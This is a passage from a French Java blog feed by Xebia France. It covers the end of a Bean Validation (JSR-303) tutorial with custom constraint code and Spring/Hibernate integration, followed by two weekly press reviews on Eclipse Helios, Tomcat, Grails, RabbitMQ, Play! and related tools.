</pre><p>A un plus haut niveau, on peut également ne pas passer par des <em>resource bundles</em> mais implémenter sa propre stratégie pour, par exemple, accéder à une base de données. Pour cela il faut fournir une implémentation de l&#8217;interface <code>MessageInterpolator</code>.</p><pre class="brush: java; title: ; notranslate">
Configuration&lt;?&gt; configuration = Validation.byDefaultProvider().configure();
ValidatorFactory factory = configuration
   .messageInterpolator(new MyMessageInterpolator(configuration.getDefaultMessageInterpolator()))
   .buildValidatorFactory();
Validator validator = factory.getValidator();
</pre><p><code>MyMessageInterpolator</code> implémente donc <code>MessageInterpolator</code> qui a deux méthodes:</p><pre class="brush: java; title: ; notranslate">
String interpolate(String messageTemplate, Context context);
String interpolate(String messageTemplate, Context context,  Locale locale);
</pre><p><code>messageTemplate</code> étant la clé de la contrainte et <code>context</code> contient des informations sur cette contrainte. Libre ensuite au développeur d&#8217;associer la ressource correspondante comme il veut.</p><h4><a
name="Dfinirsaproprecontrainte"></a>Définir sa propre contrainte</h4><p>Il est possible de créer sa propre contrainte, pour cela on passe par 3 étapes:</p><ul><li>créer l&#8217;annotation</li><li>implémenter le validateur</li><li>définir le message d&#8217;erreur</li></ul><p>Nous allons faire un validateur pour les plaques d&#8217;immatriculation et vérifier qu&#8217;elles appartiennent à un département donné (il s&#8217;agira des anciennes normes, par exemple 123-ABC-93, pas des nouvelles normes européennes). Commençons par l&#8217;annotation&nbsp;:</p><pre class="brush: java; title: ; notranslate">
@Target({METHOD,FIELD,ANNOTATION_TYPE})
@Retention(RUNTIME)
@Constraint(validatedBy=ImmaticulationValidator.class)
@Documented
public @interface CheckImmatriculation {
   String message() default &quot;{fr.xebia.constraints.checkimmatriculation}&quot;;
   Class&lt;?&gt;[] groups() default {};
   Class&lt;? extends Payload&gt;[] payload() default {};
   String departement();
}
</pre><p>On voit apparaître la notion de <code>Payload</code>, elle peut être utilisée pour enrichir les informations sur cette contrainte. L&#8217;exemple proposé en général est le cas où on veut ajouter un niveau de sévérité à une contrainte. On peut récupérer la classe associée dans la description de la contrainte : <code>ConstraintViolation.getConstraintDescriptor().getPayload()</code>.</p><p>On écrit ensuite le validateur associé :</p><pre class="brush: java; title: ; notranslate">
public class ImmaticulationValidator implements
       ConstraintValidator&lt;CheckImmatriculation, String&gt; {
   private String departement;
   public void initialize(CheckImmatriculation constraintAnnotation) {
       departement = constraintAnnotation.departement();
   }
   public boolean isValid(String value, ConstraintValidatorContext context) {
       if (!Pattern.matches(&quot;
d{1,3}-[a-zA-Z]{2,3}-
d{2}&quot;, value)) {
           return false;
       }
       // On récupère le département donné
       String d = value.substring(value.length() - 2);
       return departement.equals(d);
   }
}
</pre><p>Enfin on doit ajouter le message qui sera retourné en cas d&#8217;erreur dans le fichier de <em>properties</em> <code>ValidationMessages.properties</code> comme vu précédemment. On peut par exemple afficher le département attendu:</p><pre class="brush: java; title: ; notranslate">
fr.xebia.constraints.checkimmatriculation=Le département doit être {departement}.
</pre><h3><a
name="SpringSpringMVC"></a>Spring/SpringMVC</h3><p>Depuis la version 3.0 de Spring MVC la JSR-303 est complètement supportée. Tout est donc grandement facilité et valider un formulaire devient quasiment immédiat. On peut résumer la procédure à l&#8217;ajout de l&#8217;annotation <code>@Valid</code> dans la requête POST de soumission du formulaire:</p><pre class="brush: java; title: ; notranslate">
public void submitVoiture(@Valid VoitureForm voiture, , Errors errors){
     logger.info(&quot;Nombre d'erreur&quot;+errors.getErrorCount());
     ...
}
</pre><p>Les contraintes non validées seront automatiquement injectées dans <code>errors</code> et donc accessibles dans la vue :</p><pre class="brush: java; title: ; notranslate">
&lt;form:form action=&quot;edit&quot; modelAndAttribute=&quot;voiture&quot;&gt;
    &lt;form:errors path=&quot;*&quot;/&gt;
    &lt;form:input path=&quot;immatriculation&quot;/&gt;
    ...
    &lt;input type=&quot;submit&quot;/&gt;
&lt;/form:form&gt;
</pre><p>Outre <em>Spring MVC</em>, de plus en plus de frameworks de présentation adoptent la JSR-303, remplaçant leurs anciens codes spécifiques par ce nouveau standard. Naturellement JSF 2.0 l&#8217;utilise mais on peut aussi citer <a
href="http://yeswicket.com/index.php?post/2010/02/24/Wicket-JSR-303-Validators" title="Wicket" >Wicket</a> ou <a
href="http://blog.tapestry5.de/index.php/2010/01/04/tapestry-and-jsr-303-bean-validation-api/" title="Tapestry" >Tapestry</a>.</p><h3><a
name="Hibernate"></a>Hibernate</h3><p>Nous avons vu qu&#8217;il était possible de valider programmatiquement une entité. Néanmoins, on peut vouloir être encore plus prudent et empêcher les opérations de persistance si une contrainte est violée. Hibernate propose <a
href="http://docs.jboss.org/hibernate/annotations/3.5/reference/en/html/additionalmodules.html#d0e3875" title="un mcanisme" >un mécanisme</a> de <em>listeners</em> sur les événements <code>insert</code>, <code>update</code> et <code>remove</code>. Voici un exemple de configuration possible:</p><pre class="brush: java; title: ; notranslate">
&lt;persistence ...&gt;
  &lt;persistence-unit ...&gt;
    ...
    &lt;properties&gt;
      &lt;property name=&quot;javax.persistence.validation.mode&quot;
                value=&quot;callback, ddl&quot;/&gt;
    &lt;/properties&gt;
  &lt;/persistence-unit&gt;
&lt;/persistence&gt;
</pre><p>Il existe plusieurs modes: <code>none</code>, <code>auto</code> (s&#8217;il n&#8217;y a aucun jar de validation, il n&#8217;y aura pas de validation), <code>callback</code> (s&#8217;il n&#8217;y a aucun jar une exception est lancée au démarrage), <code>ddl</code>. Cette dernière permet de générer le schéma de base avec les contraintes définies dans l&#8217;entité.</p><p>Il est possible de différencier les comportements selon le type d&#8217;opération:</p><pre class="brush: java; title: ; notranslate">
&lt;persistence ...&gt;
  &lt;persistence-unit ...&gt;
    ...
    &lt;properties&gt;
      &lt;property name=&quot;javax.persistence.validation.group.pre-update&quot;
                value=&quot;javax.validation.group.Default, com.acme.group.Strict&quot;/&gt;
      &lt;property name=&quot;javax.persistence.validation.group.pre-remove&quot;
                value=&quot;com.acme.group.OnDelete&quot;/&gt;
      &lt;property name=&quot;org.hibernate.validator.group.ddl&quot;
                value=&quot;com.acme.group.DDL&quot;/&gt;
    &lt;/properties&gt;
  &lt;/persistence-unit&gt;
&lt;/persistence&gt;
</pre><p>En cas de violation d&#8217;une contrainte une exception de type <code>ConstraintViolationException</code> est lancée, éventuellement englobée dans une exception <code>RollbackException</code> en mode transactionnel. Cette exception contient la liste des <code>ConstraintViolation</code> de l&#8217;API Bean Validation vue plus haut.</p><p>Une fonctionnalité de l&#8217;API encore non évoquée, mais qui rejoint les problématiques souvent rencontrées dans Hibernate, est la notion de <em>traversabilité</em>, formalisée par l&#8217;interface <code>TraversableResolver</code>. Celle-ci contient deux méthodes <em>isReachable</em> et <em>isCascadable</em> qui peuvent permettre dans certains cas de désactiver une validation d&#8217;un <em>sous-objet</em>. Cela peut permettre lorsqu&#8217;on manipule des objets en <em>lazy loading</em>, de préserver ce <em>non-chargement</em>.</p><h3><a
name="Conclusion"></a>Conclusion</h3><p><em>Bean Validation</em> impressionne par sa vision complète des problématiques de validation, peu de cas semblent avoir été ignorés ou oubliés, et dans le cas contraire l&#8217;API est suffisamment souple pour pouvoir être étendue proprement. Certains regretteront peut-être qu&#8217;il n&#8217;y ait pas plus de contraintes pré-définies, mais il est extrêmement difficile de définir des contraintes universelles et ajouter sa propre contrainte est vraiment facile.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/07/15/bean-validation/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/</link> <comments>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#comments</comments> <pubDate>Tue, 29 Jun 2010 05:50:07 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Gorm]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[Groovy]]></category> <category><![CDATA[MuleSoft]]></category> <category><![CDATA[Performance]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[Tomcat Stats]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4971</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Outils Helios, Eclipse 3.6 SOA Tomcat Stats: administrer Tomcat depuis son iPhone Le coin de la technique Articles sur Groovy/Spring et Grails/Hibernate Un nouveau top 10 orienté performance Agilité Happy birthday Post-It ! Outils Helios, Eclipse 3.6 Après avoir épuisé les principales lunes de [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Outils</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HeliosEclipse">Helios, Eclipse 3.6</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#SortiedeTomcatStatsladministra">Tomcat Stats: administrer Tomcat depuis son iPhone</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#ArticlessurGroovySpringetGrail">Articles sur Groovy/Spring et Grails/Hibernate</a></li><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#Unnouveautoporientperformance">Un nouveau top 10 orienté performance</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HappybirthdayPostIt">Happy birthday Post-It !</a></li></ul><h3><a
name="Outils"></a>Outils</h3><h4><a
name="HeliosEclipse"></a>Helios, Eclipse 3.6</h4><p>Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d&#8217;<a
title="Helios" href="http://www.eclipse.org/">Helios</a> pour incarner la version annuelle d&#8217;Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.</p><p>Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le &laquo;&nbsp;Install new software&#8230;&nbsp;&raquo;, un lien direct vers le Marketplace permet très facilement d&#8217;installer ces plugins, un peu à la manière d&#8217;un plugin Firefox (tout comme le redémarrage obligatoire). L&#8217;ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l&#8217;implémentation <em>full java</em> utilisée également sur d&#8217;autre projets alors qu&#8217;EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.</p><p>En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:</p><ul><li>Les options du <em>formatter</em> acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le <em>formatter</em> d&#8217;une partie du code (intéressant pour aider des merges compliqués).</li><li>Les fonctionnalités sur le breakpoint, comme l&#8217;ajout d&#8217;une condition ou le compteur, sont à présent directement accessibles dans le panel <em>breakpoints</em> et non plus en passant par un menu contextuel dans le code.</li></ul><p>La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d&#8217;Eclipse propose un <a
title="top ten" href="http://eclipsesource.com/blogs/2010/06/23/top-10-eclipse-helios-features/">top ten</a> intéressant pour faire le tour des fonctionnalités. Arrive en tête l&#8217;application Xtext qui permet d&#8217;écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.</p><p>Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="SortiedeTomcatStatsladministra"></a>Tomcat Stats: administrer Tomcat depuis son iPhone</h4><p><a
title="MuleSoft" href="http://www.mulesoft.com">MuleSoft</a>, plus connu pour son ESB Open Source <a
title="Mule" href="http://www.mulesoft.com/mule-esb-open-source-esb">Mule</a>, a récemment annoncé la sortie de <a
title="Tomcat Stats" href="http://www.mulesoft.com/mulesoft-introduces-iphone-app-apache-tomcat">Tomcat Stats</a>, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l&#8217;<a
title="offre de support" href="http://www.mulesoft.com/free-apache-tomcat-support">offre de support</a> également gratuite, proposée par MuleSoft depuis maintenant presque une année. L&#8217;application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu&#8217;elles soient installées au sein de l&#8217;infrastructure propre de l&#8217;entreprise ou dans le Cloud. L&#8217;ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l&#8217;application, notamment l&#8217;utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.</p><p>Pour télécharger l&#8217;application, rien de plus simple il suffit de se rendre sur l&#8217;App Store, directement depuis son mobile, ou sur iTunes à l&#8217;adresse suivante : <a
title="Tomcat Stats By MuleSoft Inc" href="http://itunes.apple.com/us/app/tomcat-stats/id376646649?mt=8">Tomcat Stats By MuleSoft Inc.</a></p><p>Bien qu&#8217;un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="ArticlessurGroovySpringetGrail"></a>Articles sur Groovy/Spring et Grails/Hibernate</h4><p><a
title="IBM developerWorks" href="http://www.ibm.com/developerworks/">IBM developerWorks</a> nous a récemment gratifié d&#8217;un  article en 2 parties intitulé &laquo;&nbsp;GroovierSpring&nbsp;&raquo;.  Dans <a
title="la premire partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring1.html">la première partie</a>, nous  apprenons à définir des beans Spring en Groovy. Quatre méthodes  sont à notre disposition:</p><ul><li>Utilisation de classes Groovy compilées en .class normaux</li><li>Utilisation de classes Groovy directement sous forme de .groovy</li><li>Utilisation de  scripts Groovy en ligne,  écrits dans la configuration Spring</li><li>Utilisation  de <a
title="Bean Builder" href="http://www.grails.org/Spring+Bean+Builder">Bean Builder</a> de Grails</li></ul><p>Cette  dernière possibilité permet de créer des beans dynamiquement, à  partir de code Groovy. Cela  sous entend que l&#8217;on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la  logique&#8230; C&#8217;est d&#8217;ailleurs une solution utilisée dans Grails.</p><p>Une  fois les beans correctement  définis, nous pouvons les utiliser comme n&#8217;importe quel bean Java  défini plus classiquement. Le fait que les beans soient à  l&#8217;origine en Groovy est  complètement transparent à l&#8217;application.<br
/> <a
title="La seconde partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring2.html">La seconde partie</a> de l&#8217;article  va plus loin en explorant le rechargement à chaud des beans Groovy. C&#8217;est une plus-value  importante: qui n&#8217;a jamais rêvé de pouvoir changer facilement certains  bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents  !) ? De plus, l&#8217;article propose une implémentation permettant de  stocker son code Groovy en  base de donnée, car il n&#8217;est pas toujours évident d&#8217;accéder au système  de fichier des applications en production. C&#8217;est une idée assez peu  conventionnelle ! D&#8217;ailleurs, le paragraphe de fin, intitulé &laquo;&nbsp;When Groovy scripts go bad&nbsp;&raquo;,  constitue une mise en garde pour ne pas abuser de ces possibilités, et  être conscient des problèmes de sécurité soulevés.</p><p>Tant que nous  somme dans le monde de Groovy,  il nous semble intéressant de vous indiquer un article <a
title="du blog de SpringSource" href="http://blog.springsource.com/2010/06/23/gorm-gotchas-part-1/">du blog de SpringSource</a> qui s&#8217;intitule &laquo;&nbsp;GORM Gotchas (Part 1)&nbsp;&raquo;. Il pointe du  doigt des comportements de GORM (la couche de  persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d&#8217;Hibernate n&#8217;apprendront pas grand choses, mais l&#8217;article éclairera sans doutes  ceux qui, attirés par la simplicité de Grails, se sont  mis à l&#8217;utiliser sans expérience préalable d&#8217;Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à &laquo;&nbsp;save()&nbsp;&raquo;, et pourquoi ils le sont parfois en l&#8217;absence d&#8217;appel à cette même méthode. <a
title="Un autre article" href="http://naleid.com/blog/2009/10/01/batch-import-performance-with-grails-and-mysql/">Un autre article</a> traitant de Grails et Hibernate nous vient de Ted Naleid.  Celui-ci explique comment il a pu améliorer les performances de son batch en <em>flushant</em> la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s&#8217;appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !</p><h4><a
name="Unnouveautoporientperformance"></a>Un nouveau top 10 orienté performance</h4><p>Ce top10 se trouve <a
title="sur le blog de lditeur Dynatrace" href="http://blog.dynatrace.com/2010/06/15/top-10-performance-problems-taken-from-zappos-monster-and-co/">sur le blog de l&#8217;éditeur Dynatrace</a>. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d&#8217;un top 10 sélectif, chez des clients qui avaient conscience d&#8217;avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu&#8217;il est bon de toujours avoir à l&#8217;esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d&#8217;expérience.</p><ul><li>une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).</li><li>une mauvaise programmation concurrente, avec un excès de synchronisation.</li><li>un manque de compréhension des appels <em>remote</em> et donc un trop grand nombre d&#8217;appels.</li><li>un mauvais usage des frameworks de mapping objet &#8211; relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l&#8217;utilisation la plus hors de propos de la librairie.</li><li>l&#8217;existence de fuite mémoire (mais pourquoi ce point n&#8217;a t&#8217;il pas été placé en premier ?)</li><li>une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d&#8217;introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta&#8230;</li><li>une mauvaise utilisation des ressources machine (CPU, I/O&#8230;). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.</li><li>des sites web trop chargés. La bande passante ne cesse d&#8217;augmenter, mais ce n&#8217;est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.</li><li>une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c&#8217;est le Garbage Collector qui vous rappellera à l&#8217;ordre.</li><li>la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d&#8217;objets, ou des objets trop volumineux.</li></ul><p>Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c&#8217;est en partie la raison de vivre d&#8217;un blog éditeur) et nous préférons le déplacer en bonus :</p><ul><li>le problème intermittent, invisible. C&#8217;est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.</li></ul><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="HappybirthdayPostIt"></a>Happy birthday Post-It !</h4><p>Et pour conclure cette revue de presse, nous ne résistons pas à l&#8217;envie de partager avec vous cette nouvelle d&#8217;importance: les Post-It, ces fameuses petites notes collantes multicolores, <a
title="fêtent leurs 30 ans" href="http://www.journaldunet.com/economie/industrie/fabrication-de-post-it/">fêtent leurs 30 ans</a>. Rappelons que l&#8217;utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d&#8217;un Sprint sans Post-It ?! Alors pour leur rendre hommage, <a
title="regardons quelques photos" href="http://www.touilleur-express.fr/2009/03/30/3-exemples-de-tableaux-scrum/">regardons quelques photos</a> ou encore cette <a
title="magnifique vido de laquelle ils sont les acteurs majeurs" href="http://vimeo.com/4587652">magnifique vidéo de laquelle ils sont les acteurs majeurs</a>. Bon anniversaire les p&#8217;tits gars !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/</link> <comments>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#comments</comments> <pubDate>Tue, 22 Jun 2010 05:45:32 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache Click]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Netbean]]></category> <category><![CDATA[Netbeans]]></category> <category><![CDATA[PaaS]]></category> <category><![CDATA[Play!]]></category> <category><![CDATA[rabbitmq]]></category> <category><![CDATA[Sencha]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Stratos]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4919</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII RabbitMQ 1.8 RIA Du côté de chez Play! Framework ExtJS + Raphael + jQtouch = Sencha SOA WSO2 lance Stratos, un PaaS ouvert Le coin de la technique Spring, version 3.0.3 et faille de sécurité Trucs et astuces pour Eclipse [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#RabbitMQ">RabbitMQ 1.8</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#DuctdechezPlayFramework">Du côté de chez Play! Framework</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#ExtJSRaphaeljQtouchSencha">ExtJS + Raphael + jQtouch = Sencha</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#WSOlanceStratosunPaaSouvert">WSO2 lance Stratos, un PaaS ouvert</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Springversionetfailledescurit">Spring, version 3.0.3 et faille de sécurité</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#TrucsetastucespourEclipse">Trucs et astuces pour Eclipse</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#SortiedApacheClick">Sortie d&#8217;Apache Click 2.2.0</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Netbeans">Netbeans 6.9</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Choisirentremodjketmodproxypar">Choisir entre mod_jk et mod_proxy, par Mark Thomas</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="RabbitMQ"></a>RabbitMQ 1.8</h4><p>Alors que des idées originales sont proposées autour de RabbitMQ, comme cette <a
title="proposition" href="http://www.tomcatexpert.com/blog/2010/06/21/clustering-cloud-friendly-tomcat-sessions-rabbitmq-part-i">proposition</a> de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.</p><p>La possibilité d&#8217;ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d&#8217;échanges semble s&#8217;adresser surtout aux spécialistes (RabbitMQ pour l&#8217;instant ne propose qu&#8217;un mode de persistance même si un nouveau est annoncé prochainement).</p><p>Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d&#8217;<a
href="www.amqp.org">AMQP</a> qui est actuellement en version 0.10 et déjà supportée par <a
title="Qpid" href="http://qpid.apache.org/">Qpid</a>. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d&#8217;efforts aux brokers pour l&#8217;implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de <em>acker</em> plusieurs fois un même message.</p><p>On peut regretter aussi que cette version n&#8217;apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s&#8217;il existe déjà des solutions externes.</p><p>Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :</p><pre class="brush: xml; title: ; notranslate">&lt;dependency&gt;
    &lt;groupId&gt;com.rabbitmq&lt;/groupId&gt;
    &lt;artifactId&gt;amqp-client&lt;/artifactId&gt;
    &lt;version&gt;1.8.0&lt;/version&gt;
&lt;/dependency&gt;</pre><p>Bien que cette version ne révolutionne rien, elle corrige pas mal d&#8217;imperfections et il est chaudement conseillé de l&#8217;installer.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="DuctdechezPlayFramework"></a>Du côté de chez Play! Framework</h4><p><a
title="Play!" href="http://www.playframework.org/">Play!</a>, le framework qui monte, qui monte, vient de passer un cap important : une <a
title="Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Cheat Sheet</a> vient de lui être consacrée !</p><p>Les releases s&#8217;enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.</p><ul><li><a
title="Play! Framework Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Play! Framework Cheat Sheet</a></li></ul><p>Egalement à signaler, le lancement d&#8217;une plateforme pour héberger vos applications Play! : <a
title="PlayApps" href="http://www.playapps.net/">PlayApps</a>. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l&#8217;air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n&#8217;avons pas encore eu l&#8217;occasion de tester ça, et nous sommes curieux.</p><h4><a
name="ExtJSRaphaeljQtouchSencha"></a>ExtJS + Raphael + jQtouch = Sencha</h4><p>Nous connaissons <a
title="ExtJS" href="http://www.sencha.com/products/js/">ExtJS</a> mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient <a
title="Sencha" href="http://sencha.com/">Sencha</a> ! (via <a
title="ajaxian" href="http://ajaxian.com/archives/sencha-extjs-jqtouch-raphael-connect"><em>ajaxian</em></a>)</p><p>Alors, qu&#8217;y a-t-il derrière cette nouvelle identité ?  Et bien plusieurs produits déjà sortis et d&#8217;autres encore en incubation :</p><ul><li>Sencha Touch : framework HTML5 pour développement mobile <em>(iPhone et Android)</em> ;</li><li>Ext Designer : application desktop de création d&#8217;interfaces ;</li><li>Ext JS : on ne présente plus ce framework de création d&#8217;interfaces riches en Javascript ;</li><li>Ext GWT : Ext JS pour les développeurs Java et GWT ;</li><li>Ext Core : librairie Javascript cross-browser ;</li><li>[Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;</li><li>[Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;</li><li>[Labs] Connect : framework regroupant Rack et NodeJS <em>(j&#8217;attend déjà avec impatience !)</em> pour un serveur d&#8217;application <em>lean</em> et <em>event driven</em>.</li></ul><p>Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="WSOlanceStratosunPaaSouvert"></a>WSO2 lance Stratos, un PaaS ouvert</h4><p><a
title="WSO2" href="http://wso2.org/">WSO2</a>, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme <a
title="PaaS" href="http://en.wikipedia.org/wiki/Platform_as_a_service">PaaS</a> Stratos. D&#8217;après <a
title="Paul Fermantle" href="http://pzf.fremantle.org/2010/06/wso2-stratos-platform-as-service-for.html">Paul Fermantle</a>, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :</p><ul><li>contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,</li></ul><ul><li>Stratos n&#8217;offre pas seulement une plateforme pour le développement d&#8217;applications web, mais une architecture d&#8217;un SI d&#8217;entreprise complète avec notamment un ESB, de l&#8217;orchestration de services, etc &#8230;,</li></ul><ul><li>Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.</li></ul><p>Vous pouvez d&#8217;ores et déjà l&#8217;essayer à cette <a
title="adresse" href="https://cloud.wso2.com/carbon/admin/login.jsp">adresse</a></p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
